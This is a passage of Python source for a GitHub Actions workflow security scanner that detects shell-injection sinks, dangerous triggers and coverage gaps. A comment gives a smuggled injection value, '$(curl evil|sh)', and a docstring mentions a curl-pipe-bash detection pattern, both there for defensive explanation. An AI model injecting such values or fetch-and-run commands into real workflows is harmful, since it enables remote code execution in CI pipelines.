- - valid YAML but NOT a top-level mapping (a list/scalar) -> same problem:
- every YAML detector bails on ``if not isinstance(doc, dict)``, so it was
- never evaluated for those patterns; record a gap, don't call it clean.
- - readable + parses to a mapping (or a legitimately empty file) -> ``None``.
- """
- try:
- text = file_path.read_text(encoding="utf-8", errors="replace")
- except OSError as e:
- return f"unreadable — not scanned for any pattern ({e})"
- try:
- doc = yaml.safe_load(text)
- except yaml.YAMLError as e:
- # PyYAML messages span several lines (problem + context + marker);
- # collapse to one line so the report banner stays scannable.
- detail = " ".join(str(e).split())
- return (
- "YAML parse error — not scanned for any YAML-based pattern "
- f"(regex patterns still ran): {detail}"
- )
- # Valid YAML, but a top-level list/scalar rather than a workflow mapping:
- # every YAML-based detector short-circuits on `not isinstance(doc, dict)`,
- # so the file was NOT evaluated for those patterns and must not read as
- # clean. An empty file (`doc is None`) is a legitimately-empty workflow.
- if doc is not None and not isinstance(doc, dict):
- return (
- f"top-level YAML is a {type(doc).__name__}, not a workflow mapping "
- "— no YAML-based pattern was evaluated (regex patterns still ran)"
- )
- return None
- def _find_line_for_top_level_key(lines: list[str], key: str) -> int | None:
- """Best-effort line number for a top-level key in pre-split YAML lines.
- Returns ``None`` when the key can't be located so callers can avoid
- pointing the user at line 1 with no real evidence. Used for evidence
- rendering on yaml-path detectors where the loader doesn't preserve
- source locations.
- """
- pattern = re.compile(rf"^\s*{re.escape(key)}\s*:")
- for i, line in enumerate(lines, start=1):
- if pattern.match(line):
- return i
- return None
- def detect_yaml_path(
- file_path: Path, yaml_path: str, value_filter: str | None = None
- ) -> Iterator[RawHit]:
- """Fire when ``yaml_path`` resolves in the document.
- When ``value_filter`` is supplied, only fire if at least one resolved
- leaf equals it (case-insensitive, after str-cast). Lets a single
- detector ignore hardened spellings like ``id-token: none`` while
- still flagging ``id-token: write``.
- """
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if doc is None:
- return
- parts = [p for p in yaml_path.split(".") if p]
- matches = list(_walk_yaml_path(doc, parts))
- if not matches:
- return
- if value_filter is not None:
- wanted = value_filter.strip().lower()
- if not any(str(leaf).strip().lower() == wanted for leaf in matches):
- return
- lines = text.splitlines()
- # We don't have source positions from yaml.safe_load. Approximate by
- # locating the top-level key in the file.
- top_key = parts[0] if parts else ""
- located = _find_line_for_top_level_key(lines, top_key) if top_key else None
- if located is None:
- line_no = 1
- evidence = f"(matched yaml path) {yaml_path}"
- else:
- line_no = located
- end = min(len(lines), line_no + 5)
- evidence = "\n".join(
- f"{i + 1:>4}: {lines[i]}" for i in range(line_no - 1, end)
- )
- yield RawHit(
- line=line_no,
- evidence=evidence,
- match_text=yaml_path,
- )
- def _get_on_node(doc: Any) -> Any:
- """Return the workflow's ``on:`` value, accounting for YAML 1.1.
- PyYAML's default loader coerces the bareword key ``on`` to the
- boolean ``True`` (YAML 1.1 inheritance), so we check both shapes.
- """
- if not isinstance(doc, dict):
- return None
- if "on" in doc:
- return doc["on"]
- if True in doc:
- return doc[True]
- return None
- def _on_trigger_names(on_node: Any) -> list[str]:
- """Normalize the three legal shapes of ``on:`` to a list of trigger names.
- - ``on: push`` (string) → ``["push"]``
- - ``on: [push, issues]`` (list) → ``["push", "issues"]``
- - ``on: { push: ..., issues: ... }`` (mapping) → ``["push", "issues"]``
- """
- if isinstance(on_node, str):
- return [on_node]
- if isinstance(on_node, list):
- return [str(item) for item in on_node if isinstance(item, str)]
- if isinstance(on_node, dict):
- return [str(key) for key in on_node.keys() if isinstance(key, str)]
- return []
- def detect_yaml_on_trigger(
- file_path: Path, danger_keys: list[str]
- ) -> Iterator[RawHit]:
- """Fire when ``on:`` declares any trigger from a configured danger list.
- Handles all three legal ``on:`` shapes (string, list, mapping) and
- the YAML 1.1 ``on`` → ``True`` boolean coercion. Avoids the
- false-positive class that plain ``^\\s+TRIGGER:`` regex hits when
- the same word appears under ``permissions:``, ``with:``, etc.
- """
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if doc is None:
- return
- on_node = _get_on_node(doc)
- if on_node is None:
- return
- triggers = _on_trigger_names(on_node)
- danger_set = set(danger_keys)
- hit_keys = sorted(set(triggers) & danger_set)
- if not hit_keys:
- return
- lines = text.splitlines()
- for trigger in hit_keys:
- # Try to locate the trigger keyword inside the on: block. Fall
- # back to the on: header line if we can't pinpoint it.
- pattern = re.compile(rf"^\s+{re.escape(trigger)}\s*:")
- located: int | None = None
- for i, line in enumerate(lines, start=1):
- if pattern.match(line):
- located = i
- break
- if located is None:
- located = _find_line_for_top_level_key(lines, "on") or 1
- evidence = f"on: includes {trigger}"
- else:
- idx = located - 1
- start = max(0, idx - 1)
- stop = min(len(lines), idx + 2)
- evidence = "\n".join(
- f"{i + 1:>4}: {lines[i]}{' <-- here' if i == idx else ''}"
- for i in range(start, stop)
- )
- yield RawHit(line=located, evidence=evidence, match_text=trigger)
- # Context fields GitHub generates itself, whose VALUE SHAPE cannot carry shell
- # metacharacters: integers (`.number`, `.id`), 40-hex object ids (`.sha`,
- # `.head_sha`, `.merge_commit_sha`) and booleans (`.repo.fork`, `.merged`).
- # Interpolating one of these into a `run:` step is not an injection sink — no
- # attacker-supplied text reaches the shell — and flagging them buried the real
- # text-shaped hits (PR titles, bodies, branch names, comments, labels,
- # client_payload) under noise. Everything text-shaped stays in scope.
- #
- # These are suffixes of a fully-qualified `github.*` context path, and
- # `_is_shape_safe_expression` enforces that prefix: a bare `endswith` would
- # suppress any expression that merely ends in `.sha`.
- #
- # `github.event.action` used to sit in a companion exact-match set. It was
- # dead code: the P14.10 regex only matches `github.event.<issue|comment|
- # pull_request|discussion|workflow_run|head_commit|inputs|client_payload>.*`,
- # `github.event.inputs.*` and `github.head_ref`, so a bare
- # `github.event.action` is never a match to suppress in the first place.
- #
- # `.commits` joins the integer arm: on a `pull_request` payload it is the
- # commit COUNT, the same GitHub-generated integer shape as `.number`. grafana's
- # `trufflehog.yml` wrote `$(( ${{ github.event.pull_request.commits }} + 2 ))`
- # — arithmetic on it, which only reads at all because the value is an integer —
- # and the finding rendered HIGH. (The push-event `github.event.commits` ARRAY
- # is a different field and is not a P14.10 match at all: the regex only reaches
- # `github.event.<issue|comment|pull_request|discussion|workflow_run|
- # head_commit|inputs|client_payload>.*`.)
- #
- # `.author_association` is not a number but is just as shape-constrained: it is
- # a CLOSED ENUM GitHub fills in (OWNER, MEMBER, COLLABORATOR, CONTRIBUTOR,
- # FIRST_TIME_CONTRIBUTOR, FIRST_TIMER, MANNEQUIN, NONE). No member carries a
- # shell metacharacter and no attacker can add a member, so interpolating one
- # into `run:` is not an injection sink. This REVERSES a class the catalog
- # previously declared in scope ("author associations" was listed among the
- # text-shaped fields that stay) — react's four `shared_label_core_team_prs` /
- # `*_discord_notify` findings were all this shape and all false.
- # `.login` is a GitHub account/org LOGIN — `github.event.*.user.login`,
- # `.sender.login`, `.repo.owner.login`, etc. GitHub enforces the login charset
- # (alphanumerics and single, non-leading/trailing hyphens, ≤39 chars), so it
- # cannot carry a shell metacharacter — not even the login an attacker chose for
- # their own fork account. So `github.event.issue.user.login` in a `run:` block
- # is not an injection sink and must not fire P14.10 HIGH (astro's headline
- # finding was exactly this false positive). The `github.` prefix gate plus the
- # `_ATTACKER_FILLED_PREFIXES` carve-out still apply: a `.login` under
- # `client_payload.*` / `inputs.*` is caller-filled and stays in scope.
- _SAFE_EXPR_SUFFIXES = (
- ".number", ".id", ".commits",
- ".sha", ".head_sha", ".merge_commit_sha",
- ".fork", ".merged",
- ".author_association",
- ".login",
- )
- # …but the value-shape argument only holds where GITHUB fills the field in.
- # Three namespaces are filled in by whoever fired the event: `client_payload`
- # is the arbitrary JSON body of a `repository_dispatch`, and both
- # `github.event.inputs.*` (the legacy spelling) and the bare `inputs.*` context
- # (the modern `workflow_dispatch` / `workflow_call` spelling) are caller-chosen
- # inputs. A caller is free to send `{"sha": "$(curl evil|sh)"}` — the NAME says
- # sha, nothing enforces the shape. So a safe-looking suffix under these
- # prefixes proves nothing, and the catalog says so too. They stay in scope
- # whatever they are called.
- _ATTACKER_FILLED_PREFIXES = (
- "github.event.client_payload.",
- "github.event.inputs.",
- "inputs.",
- )
- # Matches a detector found but could not anchor to a raw line, and therefore
- # did NOT report. Collected here rather than returned, because detectors are
- # generators whose only channel to the caller is the RawHit stream — and a
- # dropped match is the opposite of a hit. `scan()` clears this before a run and
- # emits it as its OWN findings-JSON list, `dropped_matches`.
- #
- # It is deliberately NOT folded into `scan_incomplete`. Those two are different
- # facts and everything downstream reads them differently: `scan_incomplete`
- # means "this FILE could not be read or parsed", which makes every workflow-
- # scoped config fact unmeasurable. A dropped match means the file parsed
- # perfectly and one `run:` step inside it could not be anchored to raw lines.
- # Folding the second into the first demoted every fact of a healthy repo to
- # unmeasured and graded it 0.0/100 over a single folded `run: >` scalar, and
- # made the banner count matches while calling them files. Coverage still
- # degrades to PARTIAL on either — an unanchored step is a real hole — but the
- # report says which hole it is.
- # THREE channels, because "we did not scan this" and "we scanned this and
- # deliberately said nothing" are opposite claims about the same step, and the
- # report's loudest honesty banner ("…were NOT scanned … This is not a clean
- # result") is only true of one of them:
- #
- # UNANCHORED a `run:` step a detector matched but could not tie to a raw
- # line. The banner was written for exactly this and keeps it.
- # NOT_SCANNED a real coverage gap that is NOT an unanchorable run step — a
- # computed `working-directory:`, a `ref:` chosen at run time,
- # shell that would not parse. Still not a clean result; its own
- # sentence, because the headline's wording does not describe it.
- # SUPPRESSED a finding the scanner reached and deliberately did not report,
- # above all a fetch pinned to a full commit id. INFORMATIONAL:
- # it must never touch coverage, or a repository that did exactly
- # what the fix recipe says gets told its report is unreliable.
- _KIND_UNANCHORED = "unanchored-run-step"
- _KIND_NOT_SCANNED = "not-scanned"
- _KIND_SUPPRESSED = "suppressed"
- # PARALLEL_GROUP a `parallel:` group the step walker could not read as
- # written. A coverage note, but tagged `scope: parallel-group` so
- # the report headlines it as a group, not as a step that "was
- # read but carries a value this scan cannot know".
- _KIND_PARALLEL_GROUP = "parallel-group"
- _DROPPED_MATCHES: list[dict[str, str]] = []
- def _record_dropped_match(file_path: Path, reason: str,
- kind: str = _KIND_UNANCHORED) -> None:
- _DROPPED_MATCHES.append(
- {"file": str(file_path), "reason": reason, "kind": kind})
- def _repo_relative(path: str, root: Path) -> str:
- """A workflow path as it should appear in the report: relative to the
- audited root, and NEVER absolute.
- The report is a shareable artifact — an absolute path leaks the operator's
- filesystem layout into it. `relative_to` raises when the file genuinely
- resolves outside the root (a symlinked workflow directory), and the
- fallback there used to hand the raw absolute path straight through, so the
- one branch that needed the guard was the one branch that skipped it.
- """
- try:
- return str(Path(path).resolve().relative_to(root.resolve()))
- except ValueError:
- return os.path.relpath(str(path), str(root))
- def _is_shape_safe_expression(snippet: str) -> bool:
- """Is this matched **template expression** one whose value shape rules out
- shell injection? See ``_SAFE_EXPR_SUFFIXES`` and
- ``_ATTACKER_FILLED_PREFIXES``.
- Hard-gated to text that really is a ``${{ … }}`` template expression. The
- same run-scalar detector also carries the shell-command regexes (P14.24's
- `curl … | bash`), whose matches are arbitrary shell text — and a
- suppression list written about `${{ … }}` value shapes has no jurisdiction
- there. Without this gate a future `_SAFE_EXPR_SUFFIXES` entry that happened
- to end a `curl … | bash` command would silently suppress a HIGH finding.
- Anything that is not a template expression is never shape-safe.
- """
- expr = snippet.strip()
- if not expr.startswith("${{"):
- return False
- expr = expr[3:]
- if expr.endswith("}}"):
- expr = expr[:-2]
- expr = expr.strip()
- # `${{ A || B }}` is shape-safe only when EVERY operand is. Two wrong rules
- # were tried and both lose findings:
- # - judging the whole expression, or its LAST operand, lets a safe-shaped
- # fallback launder a text-shaped primary — cal.com's
- # `${{ github.head_ref || github.ref_name }}` is a branch name first and
- # a fallback second;
- # - judging only the FIRST operand assumes the first operand is always
- # truthy. It is not: an event field absent on THIS event is empty, so
- # `${{ github.event.pull_request.number || github.event.issue.title }}`
- # resolves to the issue title on an `issues` trigger and the title
- # reaches the shell. Same for `.merged` (false on an open PR) and any
- # other falsy-able shape-safe field.
- # Testing every operand keeps the cal.com fix and closes both.
- operands = [p.strip() for p in expr.split("||")]
- return all(_is_shape_safe_operand(p) for p in operands if p)
- _LITERAL_OPERAND_RE = re.compile(r"""^(?:'[^']*'|"[^"]*"|-?\d+(?:\.\d+)?)$""")
- def _is_shape_safe_operand(expr: str) -> bool:
- """One `||` operand of a template expression, judged on its own."""
- # A quoted string or a number literal is author-written, not attacker text:
- # `${{ github.event.pull_request.title || '' }}` is unsafe because of the
- # TITLE, and the `''` must not be what decides it either way.
- if _LITERAL_OPERAND_RE.match(expr):
- return True
- if expr.startswith(_ATTACKER_FILLED_PREFIXES):
- return False
- # Anchored to a fully-qualified `github.*` context path. A bare
- # `endswith` would suppress ANY text ending in `.sha` — including
- # attacker-controlled text that merely looks like a context path.
- if not expr.startswith("github."):
- return False
- return expr.endswith(_SAFE_EXPR_SUFFIXES)
- def detect_yaml_run_injection(
- file_path: Path, pattern: str, *, normalize_context_brackets: bool = False,
- ) -> Iterator[RawHit]:
- """Apply a regex only to the text of ``jobs.*.steps.*.run`` scalars.
- Avoids the false-positive class where the same template expression
- appears inside ``with:`` (action input) or ``env:`` (env var) blocks
- — those don't expose shell. The regex is meant for shell-injection
- sinks, and only ``run:`` scalars are shell.
- Line numbers come from the composed YAML: each leaf step is paired, by
- position, with its node from `_iter_step_nodes` (the lockstep twin of
- `_iter_job_steps`), and a snippet is searched for only inside that step's
- own ``run:`` scalar span. The same template expression appearing earlier
- (in ``env:`` or ``with:``) cannot steal the attribution, and neither can
- a flow-style ``{run: ...}`` child, a group the walker could not read, or
- a ``parallel:`` key written above its step's own ``run:`` — the raw-text
- cursor this replaced was misled by all three.
- A YAML alias (``steps: *common``) expands into parsed steps whose ``run:``
- node is one an earlier step already used: that node is attributed once,
- and every later use is recorded as a dropped match (a coverage gap the
- report names) rather than skipped in silence — silence rendered as
- complete coverage over steps nothing ever scanned. A step whose node
- cannot be found at all is recorded the same way.
- """
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- jobs = doc.get("jobs")
- if not isinstance(jobs, dict):
- return
- compiled = re.compile(pattern)
- match_text = (
- _normalize_context_brackets(text)
- if normalize_context_brackets else text
- )
- lines = text.splitlines()
- triggers = _on_trigger_names(_get_on_node(doc))
- job_nodes = _job_nodes(text)
- seen_runs: set[int] = set()
- unanchored_reported = False
- for job_key, job in jobs.items():
- if not isinstance(job, dict):
- continue
- leaves = list(_iter_job_steps(job))
- nodes = list(_iter_step_nodes(
- _node_keys(job_nodes[job_key]).get("steps")
- if job_key in job_nodes else None))
- if len(nodes) != len(leaves):
- nodes = [] # unpaired: anchor nothing
- for k, job_step in enumerate(leaves):
- step = job_step.step
- run_text = step.get("run")
- if not isinstance(run_text, str):
- continue
- run_node = _node_keys(nodes[k]).get("run") if nodes else None
- if not isinstance(run_node, yaml.ScalarNode) \
- or id(run_node) in seen_runs:
- run_node = None
- if run_node is None:
- # No source line of its own for this run: scalar (an alias
- # re-use of a node already attributed, or no node found) — we
- # cannot scan this step's shell without risking attribution to
- # another step. This is a HOLE, not a clean step, so it is
- # recorded as a coverage gap. Once per file: an alias can
- # expand into many such steps, and one honest line beats a
- # hundred.
- if not unanchored_reported:
- unanchored_reported = True
- logger.warning(
- "yaml-run-injection: %s has run: step(s) whose shell "
- "text could not be anchored to a raw run: line "
- "(YAML anchor/alias expansion) — those steps were "
- "NOT scanned for injection sinks; review them "
- "manually", file_path,
- )
- _record_dropped_match(
- file_path,
- "a run: step's shell text could not be anchored to a "
- "raw run: line (YAML anchor/alias expansion yields "
- "more parsed steps than the file has run: tokens) — "
- "it was NOT scanned for injection sinks; review the "
- "step manually",
- )
- continue
- seen_runs.add(id(run_node))
- # Search only the scalar's own source span: a snippet that is not
- # there verbatim is a drop, never a match borrowed from a later
- # step.
- search_cursor = run_node.start_mark.index
- run_end = run_node.end_mark.index
- match_run_text = (
- _normalize_context_brackets(run_text)
- if normalize_context_brackets else run_text
- )
- for m in compiled.finditer(match_run_text):
- snippet = m.group(0)
- if _is_shape_safe_expression(snippet):
- logger.debug(
- "yaml-run-injection: %s in %s is a GitHub-generated "
- "value-shape-safe field — not an injection sink",
- snippet, file_path,
- )
- continue
- idx = match_text.find(snippet, search_cursor, run_end)
- if idx < 0:
- # The match exists in the parsed scalar but not
- # verbatim in the raw file. This happens with YAML
- # folded scalars (``run: >``), where PyYAML
- # collapses linebreaks into spaces, so a snippet
- # spanning a fold becomes unfindable. Safe for
- # today's P14.10 sub-patterns — each is a single-
- # line ``${{ ... }}`` expression that survives
- # folding identically — but a future multi-token
- # pattern would be dropped here. Warn (not debug) so
- # the drop is visible at the default log level and
- # explicitly say the match is NOT reported, matching
- # how the recursion-cap surfaces its coverage limit.
- logger.warning(
- "yaml-run-injection: snippet %r matched the parsed "
- "run: scalar but not the raw file text (likely a "
- "folded scalar) in %s — this match is NOT reported; "
- "verify the step manually",
- snippet,
- file_path,
- )
- _record_dropped_match(
- file_path,
- f"a template expression ({snippet}) matched inside a "
- "run: step but could not be located in the raw file "
- "(folded scalar) — it is NOT reported; review the step "
- "manually",
- )
- continue
- search_cursor = idx + 1
- line_no = text[:idx].count("\n") + 1
- lidx = line_no - 1
- start = max(0, lidx - 1)
- stop = min(len(lines), lidx + 2)
- evidence = "\n".join(
- f"{i + 1:>4}: {lines[i]}"
- f"{' <-- here' if i == lidx else ''}"
- for i in range(start, stop)
- )
- # The gate note is a claim the SCANNER assembled, and this
- # detector's evidence is a verbatim excerpt — concatenating
- # them would render scanner prose inside the report's ```yaml
- # source fence. `derived_note` is the channel for exactly
- # this shape (see RawHit).
- #
- # Only the dead-field verdict is carried here. The generic
- # "stands only if that gate can be bypassed" is true of the
- # correlated chains, whose payoff leg IS the untrusted
- # trigger; it is false of an injection, which this catalog
- # entry says is worth fixing even on a trusted trigger. And a
- # step with its own `if:` withdraws the verdict entirely: the
- # finding is the STEP, so a statement about who reaches the
- # JOB would talk past the live control.
- gate = "" if job_step.gated else _gate_note(
- job, triggers, dead_field_only=True,
- )
- yield RawHit(
- line=line_no,
- evidence=evidence,
- match_text=snippet,
- derived_note=gate.strip() or None,
- )
- def detect_yaml_path_absent(
- file_path: Path, yaml_path: str
- ) -> Iterator[RawHit]:
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if doc is None:
- return
- parts = [p for p in yaml_path.split(".") if p]
- matches = list(_walk_yaml_path(doc, parts))
- # `permissions: null` (or the bare `permissions:` spelling) parses
- # to None — GitHub Actions treats that identically to omitting the
- # key, so we must fire. An empty mapping (`permissions: {}`) is
- # the hardened state and must NOT fire. Distinguish by treating
- # all-None resolution as absent.
- if any(m is not None for m in matches):
- return
- yield RawHit(
- line=1,
- evidence=f"(missing) {yaml_path}",
- match_text=yaml_path,
- derived=True,
- )
- def affected_jobs_for(file_path: Path) -> list[str]:
- """Return sorted job names from a workflow file.
- Returns an empty list on any of three failure modes (unreadable,
- unparseable, malformed) — each logged separately so a parse error
- doesn't masquerade as "this workflow has no jobs".
- """
- text = _read_text_safe(file_path)
- if not text:
- return []
- doc = _parse_yaml_text(text, file_path)
- if doc is None:
- return []
- if not isinstance(doc, dict):
- logger.debug("Workflow %s did not parse to a mapping", file_path)
- return []
- jobs = doc.get("jobs")
- if jobs is None:
- return []
- if not isinstance(jobs, dict):
- logger.debug("Workflow %s has non-mapping jobs:", file_path)
- return []
- return sorted(str(k) for k in jobs.keys())
- def job_line_ranges(file_path: Path) -> list[tuple[str, int, int]] | None:
- """``(job_name, first_line, last_line)`` for every job, in file order.
- ``yaml.safe_load`` throws line numbers away, so this composes the document
- into its node tree — which carries source marks — and reads the marks off
- the ``jobs:`` mapping. A node's end mark usually points at the first token
- of the NEXT job, so each range is clipped to the line before the following
- job starts; otherwise adjacent jobs would overlap and a line could be
- attributed to two of them. The LAST job is clipped at the end of the
- ``jobs:`` node itself, so a workflow-level key written after ``jobs:``
- (``defaults:``, a trailing ``permissions:``) is not swallowed into it.
- Three return values, not two:
- - a list of ranges → attribution worked (``[]`` legitimately means "this
- workflow declares no jobs").
- - ``None`` → the ranges could not be COMPUTED (the document would not
- compose, or its root/``jobs:`` node is not a mapping). Callers must
- render that as an unknown, not as "this line is workflow-scope" — those
- look identical downstream and one of them is a false claim.
- """
- text = _read_text_safe(file_path)
- if not text:
- return None
- try:
- root = yaml.compose(text)
- except yaml.YAMLError:
- return None
- if not isinstance(root, yaml.MappingNode):
- return None
- for key, value in root.value:
- if getattr(key, "value", None) != "jobs":
- continue
- if not isinstance(value, yaml.MappingNode):
- return None
- # The `jobs:` node's own end mark. PyYAML points it at the first token
- # AFTER the mapping, which is either a workflow-level key (so the
- # jobs block really ended the line before) or plain EOF (so that line
- # is still the last job's). Column-0 content is the tell: workflow-
- # level keys are unindented, job bodies never are.
- jobs_end = value.end_mark.line + 1
- _lines = text.splitlines()
- if 1 <= jobs_end <= len(_lines) and _lines[jobs_end - 1][:1].strip():
- jobs_end -= 1
- raw = [
- (str(jk.value), jk.start_mark.line + 1, jv.end_mark.line + 1)
- for jk, jv in value.value
- if hasattr(jk, "value")
- ]
- raw.sort(key=lambda r: r[1])
- clipped: list[tuple[str, int, int]] = []
- for i, (name, start, end) in enumerate(raw):
- if i + 1 < len(raw):
- end = min(end, raw[i + 1][1] - 1)
- else:
- end = min(end, jobs_end)
- clipped.append((name, start, max(start, end)))
- return clipped
- return []
- def job_at_line(
- ranges: list[tuple[str, int, int]] | None, line: int
- ) -> str | None:
- """The job containing ``line``, or None when the line sits outside every
- job (workflow-level keys such as ``on:`` or a workflow-scope
- ``permissions:``) — those findings keep the whole file's job list.
- ``ranges is None`` (attribution uncomputable) also yields None, but the
- caller is expected to have branched on that first: the two Nones mean
- different things and only one of them means "workflow-scope"."""
- for name, start, end in ranges or []:
- if start <= line <= end:
- return name
- return None
- def _is_workflow_call_only(file_path: Path) -> bool:
- """True when this workflow's ONLY trigger is ``workflow_call``.
- Such a file is a reusable workflow: it never starts a run of its own, and
- GitHub attributes every run it takes part in to the CALLING workflow. Its
- own ``/actions/workflows/<file>/runs`` endpoint therefore answers 200 with
- ``total_count: 0`` even when the file executes on every pull request — see
- ``fetch_workflow_activity``.
- """
- text = _read_text_safe(file_path)
- if not text:
- return False
- doc = _parse_yaml_text(text, file_path, quiet=True)
- if not isinstance(doc, dict):
- return False
- return set(_on_trigger_names(_get_on_node(doc))) == {"workflow_call"}
- def fetch_workflow_activity(
- repo: str, workflow_basename: str, workflow_call_only: bool = False,
- ) -> dict[str, Any]:
- """Fetch recent-run activity for a workflow via gh CLI.
- On success returns ``{"runs_30d", "last_run", "dormant"}``. On any
- failure returns ``{"status": "unavailable", "reason": ...}`` — NOT an
- empty dict. The distinction matters: ``{}`` means "not enriched" (no
- ``--repo``), whereas an enrichment that was *attempted and failed* must
- not be silently read as "active". A finding whose activity check failed
- would otherwise look identical to an active one (the dormancy flag just
- goes missing), so report.py renders the unavailable state distinctly
- instead of defaulting it to active. Each failure also logs a warning.
- ``workflow_call_only`` marks a REUSABLE workflow (its `on:` declares
- nothing but `workflow_call`). GitHub attributes a reusable workflow's runs
- to the caller, so this endpoint returns 200 with an EMPTY run list for a
- file that executes on every pull request. Reading that as "dormant" was
- wrong in the way that matters: vercel/next.js's `pr_stack_optimizer.yml`
- and microsoft/playwright's `tests_docker.yml` both run constantly, and both
- carried a "verify before prioritizing" note on live HIGH findings — and,
- worse, a dormant group is dropped from the report's `all` fix selection, so
- next.js's only HIGH was silently skipped. Zero REGISTERED runs on a
- reusable workflow is UNKNOWN activity, which is what the `unavailable`
- state already means. A reusable workflow that DOES have registered runs
- keeps its real numbers.
- """
- logger.debug("fetching activity for %s/%s", repo, workflow_basename)
- try:
- from gh_utils import GitHubAPIError, run_gh_api # noqa: E402
- except ImportError as e:
- logger.warning(
- "gh_utils unavailable; skipping activity enrichment: %s", e
- )
- return {"status": "unavailable", "reason": "gh_utils unavailable"}
- endpoint = (
- f"repos/{repo}/actions/workflows/{workflow_basename}/runs"
- f"?per_page={ACTIVITY_RUN_LIMIT}"
- )
- try:
- raw = run_gh_api(endpoint, quiet_not_found=True)
- except GitHubAPIError as e:
- # A 404 here is expected, not a failure: the scanner walks every
- # `.github/workflows/*.yml`, but GitHub only tracks run history for
- # files it registers as runnable workflows. A composite-action
- # `action.yml`, or a workflow never registered on the default branch,
- # returns 404 from the runs endpoint — there is simply no activity to
- # enrich. Log that at DEBUG; reserve WARNING for genuine failures
- # (auth, rate limit, network). Either way activity is reported as
- # unavailable, never silently assumed active.
- is_not_found = "HTTP 404" in str(e) or "Not Found" in str(e)
- (logger.debug if is_not_found else logger.warning)(
- "gh API %s for %s/%s activity: %s",
- "404 — no tracked workflow runs" if is_not_found else "failed",
- repo, workflow_basename, e,
- )
- return {"status": "unavailable", "reason": f"gh API error: {e}"}
- try:
- body = json.loads(raw)
- except json.JSONDecodeError as e:
- logger.warning(
- "gh returned non-JSON for %s/%s activity: %s",
- repo,
- workflow_basename,
- e,
- )
- return {"status": "unavailable", "reason": "gh returned non-JSON"}
- runs = body.get("workflow_runs") or []
- if workflow_call_only and not runs:
- # Not dormant — unknown. See the docstring: GitHub books a reusable
- # workflow's runs against the caller, so an empty list here is an
- # artefact of run attribution, not evidence that the file is idle.
- logger.debug(
- "%s/%s is `workflow_call`-only with no registered runs — activity "
- "unknown (runs are attributed to the calling workflow)",
- repo, workflow_basename,
- )
- return {
- "status": "unavailable",
- "reusable_workflow": True,
- "reason": (
- "reusable workflow (`on: workflow_call` only) — GitHub "
- "attributes its runs to the calling workflow, so its own run "
- "history is empty whether or not it executes"
- ),
- }
- now = _dt.datetime.now(_dt.timezone.utc)
- cutoff_30d = now - _dt.timedelta(days=30)
- cutoff_dormant = now - _dt.timedelta(days=DORMANT_DAYS)
- runs_30d = 0
- last_run: str | None = None
- last_run_dt: _dt.datetime | None = None
- skipped_runs = 0
- for run in runs:
- created = run.get("created_at")
- if not created:
- skipped_runs += 1
- continue
- try:
- created_dt = _dt.datetime.fromisoformat(created.replace("Z", "+00:00"))
- except ValueError:
- skipped_runs += 1
- continue
- if last_run_dt is None or created_dt > last_run_dt:
- last_run_dt = created_dt
- last_run = created
- if created_dt >= cutoff_30d:
- runs_30d += 1
- if skipped_runs:
- logger.warning(
- "Skipped %d runs with missing/unparseable created_at for %s/%s",
- skipped_runs,
- repo,
- workflow_basename,
- )
- dormant = last_run_dt is None or last_run_dt < cutoff_dormant
- activity = {
- "runs_30d": runs_30d,
- "last_run": last_run,
- "dormant": dormant,
- }
- logger.debug(
- " activity: %s runs, last %s",
- activity.get("runs_30d"), activity.get("last_run"),
- )
- return activity
- def _git_commit_sha(root: Path) -> str | None:
- """Return the HEAD SHA of the git repo containing ``root``, or None."""
- try:
- result = subprocess.run(
- ["git", "-C", str(root), "rev-parse", "HEAD"],
- capture_output=True,
- text=True,
- timeout=10,
- )
- if result.returncode == 0:
- sha = result.stdout.strip()
- return sha if sha else None
- except (FileNotFoundError, subprocess.TimeoutExpired):
- pass
- return None
- # Every environment variable that can override which repository a git command acts
- # on. `git -C <dir>` does NOT outrank them, so any probe that must read a specific
- # checkout has to clear them first.
- _GIT_REPO_SELECT_ENV = frozenset({
- "GIT_DIR", "GIT_WORK_TREE", "GIT_INDEX_FILE", "GIT_COMMON_DIR",
- "GIT_OBJECT_DIRECTORY", "GIT_ALTERNATE_OBJECT_DIRECTORIES",
- "GIT_NAMESPACE", "GIT_CEILING_DIRECTORIES", "GIT_DISCOVERY_ACROSS_FILESYSTEM",
- })
- def _workflow_files_absent_from_tree(root: Path) -> list[str]:
- """Workflow files that exist in the audited COMMIT but not in the working tree.
- Everything else in this scanner reasons about the files it can see on disk, so
- a **partial** checkout (``git sparse-checkout``, a partial clone, a file deleted
- without committing) is invisible to it: the detectors run on what is present,
- find nothing in what is absent, and the report renders
- ``✅ complete — every workflow file was scanned``. That is the single most
- dangerous sentence this tool can emit, because it reads as a clean bill of
- health for a repository the scan never looked at. It is the same failure the
- network-gated impostor check already refuses to commit ("a skipped check is
- NOT a pass"), one layer down.
- Asking git for the commit's own tree is the only reliable way to see the gap:
- ``git ls-tree`` reads the object database, so it lists files a sparse checkout
- left out of the working tree entirely. Files that ARE present are handled by
- ``_probe_scannability``; this only reports absence.
- Returns repo-relative paths, sorted. Empty when the tree is complete, when
- ``root`` is not a git checkout, or when git cannot answer — an inconclusive
- probe must never manufacture a coverage gap, since that would degrade every
- report run outside a git checkout.
- """
- # `git -C` selects a working DIRECTORY, not a repository: an inherited absolute
- # GIT_DIR / GIT_WORK_TREE outranks it and would point this probe at some other
- # repository entirely. That repo's tree lists no workflows, the probe reports no
- # gap, and a partial checkout renders "complete coverage" again — the very bug
- # this function exists to prevent, restored silently by an environment variable.
- # git hooks and `git worktree` commands both export these, so scrub every
- # repository-selection variable and let `-C` decide.
- env = {k: v for k, v in os.environ.items() if k not in _GIT_REPO_SELECT_ENV}
- try:
- result = subprocess.run(
- ["git", "-C", str(root), "ls-tree", "-r", "--name-only", "-z",
- "HEAD", "--", ".github/workflows"],
- capture_output=True, text=True, timeout=10, env=env,
- )
- except (FileNotFoundError, subprocess.TimeoutExpired):
- return []
- if result.returncode != 0:
- return []
- absent = []
- for rel in result.stdout.split("\0"):
- rel = rel.strip()
- # Match the discovery surface: only files `all_workflow_files` would have
- # picked up, so a stray README in .github/workflows/ is not a "gap".
- if not rel or not rel.endswith((".yml", ".yaml")):
- continue
- if not (root / rel).is_file():
- absent.append(rel)
- if absent:
- logger.warning(
